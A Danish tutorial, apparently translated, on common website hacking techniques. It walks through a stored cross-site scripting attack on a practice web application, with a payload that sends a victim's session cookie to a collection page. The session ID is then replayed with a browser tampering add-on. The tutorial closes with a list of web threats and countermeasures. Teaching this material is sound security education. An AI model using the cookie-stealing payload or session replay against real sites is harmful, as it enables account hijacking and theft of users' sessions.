Hvordan hacker man en hjemmeside? Almindelige teknikker til hacking af websteder
Hjemmeside hacking teknikker
Flere mennesker har adgang til internettet end nogensinde før. Dette har fået mange organisationer til at udvikle webbaserede applikationer, som brugere kan bruge online til at interagere med organisationen. Dårligt skrevet kode til webapplikationer kan udnyttes til at få uautoriseret adgang til følsomme data og webservere.
I denne tutorial lærer du, hvordan du hacker hjemmesider, og vi vil introducere dig til teknikker til hacking af webapplikationer og modforanstaltninger du kan sætte på plads for at beskytte mod sådanne angreb.
Hvordan man hacker en hjemmeside
I dette praktiske scenarie for hacking af websteder vil vi kapre brugersessionen af webapplikationen, der er placeret på www.techpanda.org. Vi vil bruge cross site scripting til at læse cookie-sessions-id'et og derefter bruge det til at efterligne en legitim brugersession.
Antagelsen er, at angriberen har adgang til webapplikationen, og han vil gerne kapre sessioner fra andre brugere, der bruger den samme applikation. Målet med dette angreb kunne være at få administratoradgang til webapplikationen, forudsat at hackerens adgangskonto er begrænset.
Trin 1) Åben URL http://www.techpanda.org/.
Til praksisformål anbefales det kraftigt at få adgang ved hjælp af SQL Injection. Henvis til dette artikel for mere information om, hvordan du gør det.
Trin 2) Indtast loginoplysninger.
Login-e-mailen er admin@google.com, adgangskoden er Password2010.
Trin 3) Tjek dashboard.
Hvis du har logget ind med succes, får du følgende dashboard
Trin 4) Indtast nyt indhold.
Klik på Tilføj ny kontakt og indtast følgende som fornavn
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Trin 5) Tilføj Javascript.
Ovenstående kode bruger JavaScript. Det tilføjer et hyperlink med en onclick-begivenhed. Når den intetanende bruger klikker på linket, henter hændelsen PHP cookie session ID og sender det til snatch_sess_id.php
side sammen med sessions-id'et i URL'en
Trin 6) Tilføj detaljer.
Indtast de resterende detaljer som vist nedenfor, og klik på Gem ændringer
Trin 7) Tjek dashboard.
Dit dashboard vil nu se ud som følgende skærm
Trin 8) Tjek sessions-id.
Bemærk: scriptet kunne sende værdien til en ekstern server, hvor PHPSESSID'et er gemt, hvorefter brugeren blev omdirigeret tilbage til webstedet, som om intet var hændt.
Bemærk: den værdi, du får, kan være forskellig fra den på denne webside hacking tutorial, men konceptet er det samme
Sessionsefterligning ved hjælp af Firefox og Tamper Data-tilføjelse
Flowdiagrammet nedenfor viser de trin, du skal tage for at fuldføre denne øvelse.
- Du får brug for Firefox webbrowser for dette afsnit og tilføjelsesprogrammet Tamper Data
- Åbne Firefox og installer tilføjelsen som vist i diagrammerne nedenfor
- Søg efter manipulationsdata, og klik derefter på installer som vist ovenfor
- Klik på Accepter og installer...
- Klik på Genstart nu, når installationen er fuldført
- Aktiver menulinjen i Firefox hvis det ikke vises
- Klik på værktøjsmenuen og vælg derefter Tamper Data som vist nedenfor
- Du får følgende vindue. Bemærk: Hvis Windows er ikke tom, skal du trykke på knappen Ryd
- Klik på menuen Start sabotage
- Skift tilbage til Firefox webbrowser, skriv http://www.techpanda.org/dashboard.php tryk derefter på enter-tasten for at indlæse siden
- Du får følgende pop op fra Tamper Data
- Pop-up-vinduet har tre (3) muligheder. Indstillingen Tamper giver dig mulighed for at ændre HTTP-headeroplysningerne, før de sendes til serveren.
- Klik på det
- Du får følgende vindue
- Kopier PHP session ID du har kopieret fra angrebs-URL'en og indsat den efter lighedstegnet. Din værdi skulle nu se sådan ud
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klik på knappen OK
- Du får popup-vinduet Tamper data igen
- Fjern markeringen i afkrydsningsfeltet, der spørger Vil du fortsætte med at manipulere?
- Klik på send-knappen, når du er færdig
- Du bør være i stand til at se dashboardet som vist nedenfor
Bemærk: vi loggede ikke på, vi efterlignede en login-session ved hjælp af PHPSESSID-værdien, vi hentede ved hjælp af cross-site scripting
Hvad er en webapplikation? Hvad er webtrusler?
En webapplikation (alias hjemmeside) er en applikation baseret på klient-server-modellen. Det server giver databaseadgang og forretningslogik. Det er hostet på en webserver. Klientapplikationen kører på klientens webbrowser. Webapplikationer er normalt skrevet på sprog som f.eks Java, C# og VB.Net, PHP, ColdFusion Markup Language osv. databasemotorerne, der bruges i webapplikationer, omfatter bl.a. MySQL, MS SQL Server, PostgreSQL, SQLiteOsv
Top hjemmeside hacking teknikker
De fleste webapplikationer hostes på offentlige servere, der er tilgængelige via internettet. Dette gør dem sårbare over for angreb på grund af let tilgængelighed. Følgende er almindelige webapplikationstrusler.
- SQL Injection – Målet med denne trussel kunne være at omgå login-algoritmer, sabotere dataene osv.
- Afslag på serviceangreb– Målet med denne trussel kunne være at nægte legitime brugere adgang til ressourcen
- Cross Site Scripting XSS– Målet med denne trussel kunne være at injicere kode, der kan udføres på klientsidens browser.
- Cookie/sessionsforgiftning– Målet med denne trussel er at ændre cookies/sessionsdata af en angriber for at få uautoriseret adgang.
- Formmanipulation – Målet med denne trussel er at ændre formulardata såsom priser i e-handelsapplikationer, så angriberen kan få varer til reducerede priser.
- Kodeinjektion – Målet med denne trussel er at injicere kode som PHP, Pythonosv., der kan udføres på serveren. Koden kan installere bagdøre, afsløre følsomme oplysninger osv.
- defacement– Målet med denne trussel er at ændre siden, der er blevet vist på et websted, og omdirigere alle sideanmodninger til en enkelt side, der indeholder angriberens besked.
Hvordan beskytter du dit websted mod hacks?
En organisation kan vedtage følgende politik for at beskytte sig selv mod webserverangreb.
- SQL Injection – at rense og validere brugerparametre, før de sendes til databasen til behandling, kan hjælpe med at reducere chancerne for at blive angrebet via SQL Injection. Databasemotorer såsom MS SQL Server, MySQL, etc. støtteparametre, og udarbejdede erklæringer. De er meget sikrere end traditionelle SQL-sætninger
- Denial of Service-angreb – firewalls kan bruges til at droppe trafik fra mistænkelig IP-adresse, hvis angrebet er en simpel DoS. Korrekt konfiguration af netværk og Intrusion Detection System kan også hjælpe med at reducere chancerne for en DoS angreb været vellykket.
- Cross Site Scripting – validering og desinficering af overskrifter, parametre, der sendes via URL'en, formularparametre og skjulte værdier kan hjælpe med at reducere XSS-angreb.
- Cookie/sessionsforgiftning – dette kan forhindres ved at kryptere indholdet af cookies, time-out cookies efter nogen tid, associere cookies med klientens IP-adresse, der blev brugt til at oprette dem.
- Formtempering – dette kan forhindres ved at validere og verificere brugerinputtet, før det behandles.
- Kodeindsprøjtning – dette kan forhindres ved at behandle alle parametre som data i stedet for eksekverbar kode. Sanering og validering kan bruges til at implementere dette.
- Defacement – en god sikkerhedspolitik for webapplikationsudvikling bør sikre, at den forsegler almindeligt anvendte sårbarheder for at få adgang til webserveren. Dette kan være en korrekt konfiguration af operativsystemet, webserversoftware og bedste sikkerhedspraksis ved udvikling af webapplikationer.
Resumé
- En webapplikation er baseret på server-klient-modellen. Klientsiden bruger webbrowseren til at få adgang til ressourcerne på serveren.
- Webapplikationer er normalt tilgængelige via internettet. Dette gør dem sårbare over for angreb.
- Webapplikationstrusler omfatter SQL Injection, Code Injection, XSS, Defacement, Cookie-forgiftning osv.
- En god sikkerhedspolitik ved udvikling af webapplikationer kan hjælpe med at gøre dem sikre.